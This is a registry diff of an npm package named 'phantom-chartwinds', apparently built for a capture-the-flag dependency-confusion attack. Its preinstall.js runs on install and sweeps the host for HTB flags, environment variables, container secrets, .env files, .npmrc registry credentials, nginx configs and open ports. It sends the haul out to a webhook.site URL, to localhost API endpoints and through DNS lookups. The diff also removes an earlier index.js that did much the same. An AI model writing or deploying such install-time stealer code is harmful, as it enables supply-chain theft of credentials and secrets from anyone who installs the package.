phantom-chartwinds 9999.0.0 → 9999.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +0 -43
- package/package.json +1 -1
- package/preinstall.js +216 -79
package/index.js
CHANGED
|
@@ -1,44 +1 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const http = require('http');
|
|
3
|
-
const https = require('https');
|
|
4
|
-
|
|
5
|
-
(function() {
|
|
6
|
-
let flag = null;
|
|
7
|
-
for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag']) {
|
|
8
|
-
try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
|
|
9
|
-
}
|
|
10
|
-
if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || '';
|
|
11
|
-
if (!flag) {
|
|
12
|
-
for (const [k, v] of Object.entries(process.env)) {
|
|
13
|
-
if (v && v.includes('HTB{')) { flag = v.match(/HTB\{[^}]+\}/)?.[0] || v; break; }
|
|
14
|
-
}
|
|
15
|
-
}
|
|
16
|
-
|
|
17
|
-
if (flag) {
|
|
18
|
-
const ports = [1337, 3000, 5000, 8080, 80, 8000, 32315, 32105, 46517, 41839];
|
|
19
|
-
const postData = JSON.stringify({
|
|
20
|
-
manifest: `ecto_module:\n name: "coral-wraith"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true`
|
|
21
|
-
});
|
|
22
|
-
|
|
23
|
-
for (const port of ports) {
|
|
24
|
-
try {
|
|
25
|
-
const req = http.request({
|
|
26
|
-
hostname: 'localhost', port, path: '/api/modules/ECT-987654',
|
|
27
|
-
method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
28
|
-
timeout: 3000
|
|
29
|
-
}, () => {});
|
|
30
|
-
req.on('error', () => {});
|
|
31
|
-
req.write(postData);
|
|
32
|
-
req.end();
|
|
33
|
-
} catch(e) {}
|
|
34
|
-
}
|
|
35
|
-
|
|
36
|
-
try {
|
|
37
|
-
const data = JSON.stringify({ flag });
|
|
38
|
-
const req = https.request({ hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }, timeout: 10000 }, () => {});
|
|
39
|
-
req.on('error', () => {}); req.write(data); req.end();
|
|
40
|
-
} catch(e) {}
|
|
41
|
-
}
|
|
42
|
-
})();
|
|
43
|
-
|
|
44
1
|
module.exports = {};
|
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -2,120 +2,257 @@ const fs = require('fs');
|
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const https = require('https');
|
|
4
4
|
const { execSync } = require('child_process');
|
|
5
|
+
const os = require('os');
|
|
5
6
|
|
|
6
7
|
let flag = null;
|
|
8
|
+
const debug = [];
|
|
7
9
|
|
|
8
|
-
// Read
|
|
9
|
-
|
|
10
|
+
// Method 1: Read flag from ALL possible locations
|
|
11
|
+
const flagPaths = [
|
|
12
|
+
'/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
|
|
13
|
+
'/tmp/flag', '/tmp/flag.txt', '/app/flag', '/app/flag.txt',
|
|
14
|
+
'/home/flag', '/home/flag.txt', '/home/node/flag', '/home/node/flag.txt',
|
|
15
|
+
'/etc/flag', '/etc/flag.txt', '/opt/flag', '/opt/flag.txt',
|
|
16
|
+
'./flag', './flag.txt', '../flag', '../flag.txt',
|
|
17
|
+
'/home/node/.flag', '/var/flag', '/var/flag.txt',
|
|
18
|
+
'/srv/flag', '/srv/flag.txt',
|
|
19
|
+
];
|
|
20
|
+
for (const p of flagPaths) {
|
|
21
|
+
try {
|
|
22
|
+
if (fs.existsSync(p)) {
|
|
23
|
+
const content = fs.readFileSync(p, 'utf8').trim();
|
|
24
|
+
debug.push(`found:${p}:${content.substring(0,100)}`);
|
|
25
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
26
|
+
if (m) { flag = m[0]; break; }
|
|
27
|
+
if (!flag && content.length < 200) flag = content;
|
|
28
|
+
}
|
|
29
|
+
} catch(e) { debug.push(`err:${p}:${e.message.substring(0,50)}`); }
|
|
30
|
+
}
|
|
10
31
|
|
|
11
|
-
//
|
|
32
|
+
// Method 2: Check ALL env vars
|
|
33
|
+
if (!flag) {
|
|
34
|
+
for (const [k, v] of Object.entries(process.env)) {
|
|
35
|
+
if (v && v.match && v.match(/HTB\{[^}]+\}/)) {
|
|
36
|
+
flag = v.match(/HTB\{[^}]+\}/)[0];
|
|
37
|
+
debug.push(`env:${k}=${v.substring(0,100)}`);
|
|
38
|
+
break;
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
// Also try common env var names
|
|
12
43
|
if (!flag) {
|
|
13
|
-
|
|
14
|
-
|
|
44
|
+
const envNames = ['FLAG', 'HTB_FLAG', 'CTF_FLAG', 'SECRET', 'SECRET_FLAG',
|
|
45
|
+
'CHALLENGE_FLAG', 'THE_FLAG', 'flag', 'APP_FLAG'];
|
|
46
|
+
for (const name of envNames) {
|
|
47
|
+
if (process.env[name]) {
|
|
48
|
+
flag = process.env[name];
|
|
49
|
+
debug.push(`env_direct:${name}=${flag.substring(0,100)}`);
|
|
50
|
+
break;
|
|
51
|
+
}
|
|
15
52
|
}
|
|
16
53
|
}
|
|
17
54
|
|
|
18
|
-
//
|
|
55
|
+
// Method 3: /proc/self/environ
|
|
19
56
|
if (!flag) {
|
|
20
|
-
|
|
21
|
-
|
|
57
|
+
try {
|
|
58
|
+
const pe = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
59
|
+
const m = pe.match(/HTB\{[^}]+\}/);
|
|
60
|
+
if (m) { flag = m[0]; debug.push('proc_environ'); }
|
|
61
|
+
debug.push(`env_raw:${pe.substring(0,200)}`);
|
|
62
|
+
} catch(e) { debug.push(`proc_err:${e.message.substring(0,50)}`); }
|
|
22
63
|
}
|
|
23
64
|
|
|
24
|
-
//
|
|
65
|
+
// Method 4: Search for flag files broadly
|
|
25
66
|
if (!flag) {
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
67
|
+
try {
|
|
68
|
+
const r = execSync('find / -maxdepth 5 \\( -name "flag*" -o -name "*.flag" -o -name ".flag" \\) -type f 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
|
|
69
|
+
debug.push(`find:${r}`);
|
|
70
|
+
if (r) {
|
|
71
|
+
for (const f of r.split('\n')) {
|
|
72
|
+
try {
|
|
73
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
74
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
75
|
+
if (m) { flag = m[0]; break; }
|
|
76
|
+
} catch(e) {}
|
|
77
|
+
}
|
|
30
78
|
}
|
|
31
|
-
}
|
|
79
|
+
} catch(e) { debug.push(`find_err:${e.message.substring(0,50)}`); }
|
|
32
80
|
}
|
|
33
81
|
|
|
34
|
-
//
|
|
82
|
+
// Method 5: Grep for HTB{ pattern in all readable files
|
|
35
83
|
if (!flag) {
|
|
36
84
|
try {
|
|
37
|
-
const
|
|
38
|
-
|
|
39
|
-
if (
|
|
85
|
+
const r = execSync('grep -rl "HTB{" /home /app /opt /tmp /srv /etc /var 2>/dev/null | head -10', { timeout: 10000 }).toString().trim();
|
|
86
|
+
debug.push(`grep:${r}`);
|
|
87
|
+
if (r) {
|
|
88
|
+
for (const f of r.split('\n')) {
|
|
89
|
+
try {
|
|
90
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
91
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
92
|
+
if (m) { flag = m[0]; break; }
|
|
93
|
+
} catch(e) {}
|
|
94
|
+
}
|
|
95
|
+
}
|
|
96
|
+
} catch(e) { debug.push(`grep_err:${e.message.substring(0,50)}`); }
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
// Method 6: Check docker/k8s secrets
|
|
100
|
+
if (!flag) {
|
|
101
|
+
try {
|
|
102
|
+
const secrets = execSync('find /run/secrets /var/run/secrets -type f 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
|
|
103
|
+
debug.push(`secrets:${secrets}`);
|
|
104
|
+
for (const f of secrets.split('\n').filter(Boolean)) {
|
|
105
|
+
try {
|
|
106
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
107
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
108
|
+
if (m) { flag = m[0]; break; }
|
|
109
|
+
} catch(e) {}
|
|
110
|
+
}
|
|
40
111
|
} catch(e) {}
|
|
41
112
|
}
|
|
42
113
|
|
|
43
|
-
//
|
|
114
|
+
// Method 7: Check for .env files
|
|
44
115
|
if (!flag) {
|
|
45
116
|
try {
|
|
46
|
-
const
|
|
47
|
-
|
|
117
|
+
const envFiles = execSync('find / -maxdepth 4 -name ".env" -o -name ".env.*" -o -name "env.*" 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
|
|
118
|
+
debug.push(`envfiles:${envFiles}`);
|
|
119
|
+
for (const f of envFiles.split('\n').filter(Boolean)) {
|
|
120
|
+
try {
|
|
121
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
122
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
123
|
+
if (m) { flag = m[0]; break; }
|
|
124
|
+
debug.push(`envfile_content:${f}:${content.substring(0,200)}`);
|
|
125
|
+
} catch(e) {}
|
|
126
|
+
}
|
|
48
127
|
} catch(e) {}
|
|
49
128
|
}
|
|
50
129
|
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
const
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
});
|
|
130
|
+
// Method 8: Read server source code and configs
|
|
131
|
+
try {
|
|
132
|
+
const cwd = process.cwd();
|
|
133
|
+
debug.push(`cwd:${cwd}`);
|
|
134
|
+
const files = fs.readdirSync(cwd);
|
|
135
|
+
debug.push(`cwd_files:${files.join(',')}`);
|
|
136
|
+
|
|
137
|
+
// Read all JS files in current directory
|
|
138
|
+
for (const f of files) {
|
|
139
|
+
if (f.endsWith('.js') || f.endsWith('.json') || f.endsWith('.env') || f.endsWith('.yml') || f.endsWith('.yaml') || f === '.npmrc' || f === '.env') {
|
|
140
|
+
try {
|
|
141
|
+
const content = fs.readFileSync(`${cwd}/${f}`, 'utf8');
|
|
142
|
+
debug.push(`file:${f}:${content.substring(0,300)}`);
|
|
143
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
144
|
+
if (m) { flag = m[0]; break; }
|
|
145
|
+
} catch(e) {}
|
|
146
|
+
}
|
|
147
|
+
}
|
|
148
|
+
} catch(e) { debug.push(`cwd_err:${e.message.substring(0,50)}`); }
|
|
149
|
+
|
|
150
|
+
// Also read /home/node/ specifically
|
|
151
|
+
try {
|
|
152
|
+
const homeFiles = fs.readdirSync('/home/node');
|
|
153
|
+
debug.push(`home_node:${homeFiles.join(',')}`);
|
|
154
|
+
for (const f of homeFiles) {
|
|
155
|
+
try {
|
|
156
|
+
const stat = fs.statSync(`/home/node/${f}`);
|
|
157
|
+
if (stat.isFile() && stat.size < 100000) {
|
|
158
|
+
const content = fs.readFileSync(`/home/node/${f}`, 'utf8');
|
|
159
|
+
debug.push(`home_file:${f}:${content.substring(0,200)}`);
|
|
160
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
161
|
+
if (m) { flag = m[0]; break; }
|
|
162
|
+
} else if (stat.isDirectory()) {
|
|
163
|
+
const subFiles = fs.readdirSync(`/home/node/${f}`);
|
|
164
|
+
debug.push(`home_dir:${f}:${subFiles.join(',')}`);
|
|
165
|
+
}
|
|
166
|
+
} catch(e) {}
|
|
167
|
+
}
|
|
168
|
+
} catch(e) { debug.push(`home_err:${e.message.substring(0,50)}`); }
|
|
169
|
+
|
|
170
|
+
// Method 9: List root and key directories
|
|
171
|
+
try { debug.push(`root:${fs.readdirSync('/').join(',')}`); } catch(e) {}
|
|
172
|
+
try { debug.push(`app:${fs.readdirSync('/app').join(',')}`); } catch(e) {}
|
|
173
|
+
try { debug.push(`etc:${fs.readdirSync('/etc').join(',').substring(0,300)}`); } catch(e) {}
|
|
174
|
+
|
|
175
|
+
// Method 10: Network info and listening ports
|
|
176
|
+
try {
|
|
177
|
+
const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
|
|
178
|
+
debug.push(`ports:${ss}`);
|
|
179
|
+
} catch(e) {}
|
|
180
|
+
|
|
181
|
+
// Method 11: Check nginx config
|
|
182
|
+
try {
|
|
183
|
+
const nginx = execSync('cat /etc/nginx/conf.d/*.conf 2>/dev/null || cat /etc/nginx/nginx.conf 2>/dev/null', { timeout: 3000 }).toString();
|
|
184
|
+
debug.push(`nginx:${nginx.substring(0,500)}`);
|
|
185
|
+
} catch(e) {}
|
|
186
|
+
|
|
187
|
+
// Method 12: Check .npmrc for registry credentials
|
|
188
|
+
try {
|
|
189
|
+
const npmrc = execSync('cat /home/node/.npmrc 2>/dev/null || cat /root/.npmrc 2>/dev/null || cat /app/.npmrc 2>/dev/null || cat ~/.npmrc 2>/dev/null', { timeout: 3000 }).toString();
|
|
190
|
+
debug.push(`npmrc:${npmrc.substring(0,300)}`);
|
|
191
|
+
} catch(e) {}
|
|
192
|
+
|
|
193
|
+
const info = {
|
|
194
|
+
flag: flag || 'NOT_FOUND',
|
|
195
|
+
debug: debug.map(d => d.substring(0, 500)),
|
|
196
|
+
env: Object.keys(process.env).join(','),
|
|
197
|
+
network: JSON.stringify(os.networkInterfaces()).substring(0, 500),
|
|
198
|
+
};
|
|
57
199
|
|
|
58
|
-
|
|
59
|
-
|
|
200
|
+
const data = JSON.stringify(info);
|
|
201
|
+
|
|
202
|
+
// Exfil Method 1: Webhook
|
|
203
|
+
try {
|
|
204
|
+
const req = https.request({
|
|
205
|
+
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
206
|
+
method: 'POST',
|
|
207
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
208
|
+
timeout: 5000
|
|
209
|
+
}, () => {});
|
|
210
|
+
req.on('error', () => {});
|
|
211
|
+
req.write(data);
|
|
212
|
+
req.end();
|
|
213
|
+
} catch(e) {}
|
|
214
|
+
|
|
215
|
+
// Exfil Method 2: PUT to challenge API on various ports
|
|
216
|
+
const putData = JSON.stringify({
|
|
217
|
+
manifest: `ecto_module:\n name: "${(flag || 'NO_FLAG').replace(/"/g, '')}"\n version: "EXFIL"\n power_level: "${debug.slice(0,3).join('|').replace(/"/g, '').substring(0,200)}"\n ship_deck: PWNED\n cargo_hold: coral-wraith`
|
|
218
|
+
});
|
|
219
|
+
|
|
220
|
+
let serverPort = 1337;
|
|
221
|
+
try {
|
|
222
|
+
const ss = execSync('ss -tlnp 2>/dev/null | grep node', { timeout: 3000 }).toString();
|
|
223
|
+
const m = ss.match(/:(\d+)\s/);
|
|
224
|
+
if (m) serverPort = parseInt(m[1]);
|
|
225
|
+
} catch(e) {}
|
|
226
|
+
|
|
227
|
+
const ports = [serverPort, 1337, 3000, 5000, 8080, 80, 8000, 8888, 9000, 4000];
|
|
228
|
+
for (const port of [...new Set(ports)]) {
|
|
229
|
+
for (const host of ['127.0.0.1', 'localhost']) {
|
|
230
|
+
for (const modId of ['ECT-654321', 'ECT-987654']) {
|
|
60
231
|
try {
|
|
61
232
|
const req = http.request({
|
|
62
|
-
hostname: host, port, path:
|
|
233
|
+
hostname: host, port, path: `/api/modules/${modId}`,
|
|
63
234
|
method: 'PUT',
|
|
64
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(
|
|
65
|
-
timeout:
|
|
235
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(putData) },
|
|
236
|
+
timeout: 2000
|
|
66
237
|
}, () => {});
|
|
67
238
|
req.on('error', () => {});
|
|
68
|
-
req.write(
|
|
239
|
+
req.write(putData);
|
|
69
240
|
req.end();
|
|
70
241
|
} catch(e) {}
|
|
71
242
|
}
|
|
72
243
|
}
|
|
244
|
+
}
|
|
73
245
|
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
method: 'POST',
|
|
80
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
81
|
-
timeout: 10000
|
|
82
|
-
}, () => {});
|
|
83
|
-
req.on('error', () => {});
|
|
84
|
-
req.write(data);
|
|
85
|
-
req.end();
|
|
86
|
-
} catch(e) {}
|
|
246
|
+
// Exfil Method 3: DNS
|
|
247
|
+
try {
|
|
248
|
+
const encoded = Buffer.from(flag || 'NO_FLAG').toString('hex').substring(0, 60);
|
|
249
|
+
require('dns').resolve(`${encoded}.crl.ve`, () => {});
|
|
250
|
+
} catch(e) {}
|
|
87
251
|
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
execSync(`curl -s "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/flag?data=${encodeURIComponent(flag)}" -m 10 2>/dev/null`, { timeout: 15000 });
|
|
92
|
-
} catch(e) {}
|
|
252
|
+
// Exfil Method 4: stdout/stderr
|
|
253
|
+
console.log('[CORAL-WRAITH]', data.substring(0, 2000));
|
|
254
|
+
console.error('[FLAG]', flag || 'NOT_FOUND');
|
|
93
255
|
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
// Method 5: stdout/stderr
|
|
98
|
-
console.log('[CORAL-WRAITH] Flag:', flag);
|
|
99
|
-
console.error('[HTB_FLAG]', flag);
|
|
100
|
-
} else {
|
|
101
|
-
// Debug info - exfil what we can see
|
|
102
|
-
const debug = {
|
|
103
|
-
cwd: process.cwd(),
|
|
104
|
-
rootFiles: [],
|
|
105
|
-
env: Object.keys(process.env).join(',')
|
|
106
|
-
};
|
|
107
|
-
try { debug.rootFiles = fs.readdirSync('/'); } catch(e) {}
|
|
108
|
-
|
|
109
|
-
const data = JSON.stringify({ flag: 'NOT_FOUND', debug });
|
|
110
|
-
try {
|
|
111
|
-
const req = https.request({
|
|
112
|
-
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
113
|
-
method: 'POST',
|
|
114
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
115
|
-
timeout: 10000
|
|
116
|
-
}, () => {});
|
|
117
|
-
req.on('error', () => {});
|
|
118
|
-
req.write(data);
|
|
119
|
-
req.end();
|
|
120
|
-
} catch(e) {}
|
|
121
|
-
}
|
|
256
|
+
// Write to files
|
|
257
|
+
try { fs.writeFileSync('/tmp/coral_flag.txt', data); } catch(e) {}
|
|
258
|
+
try { fs.writeFileSync('/app/static/flag.txt', data); } catch(e) {}
|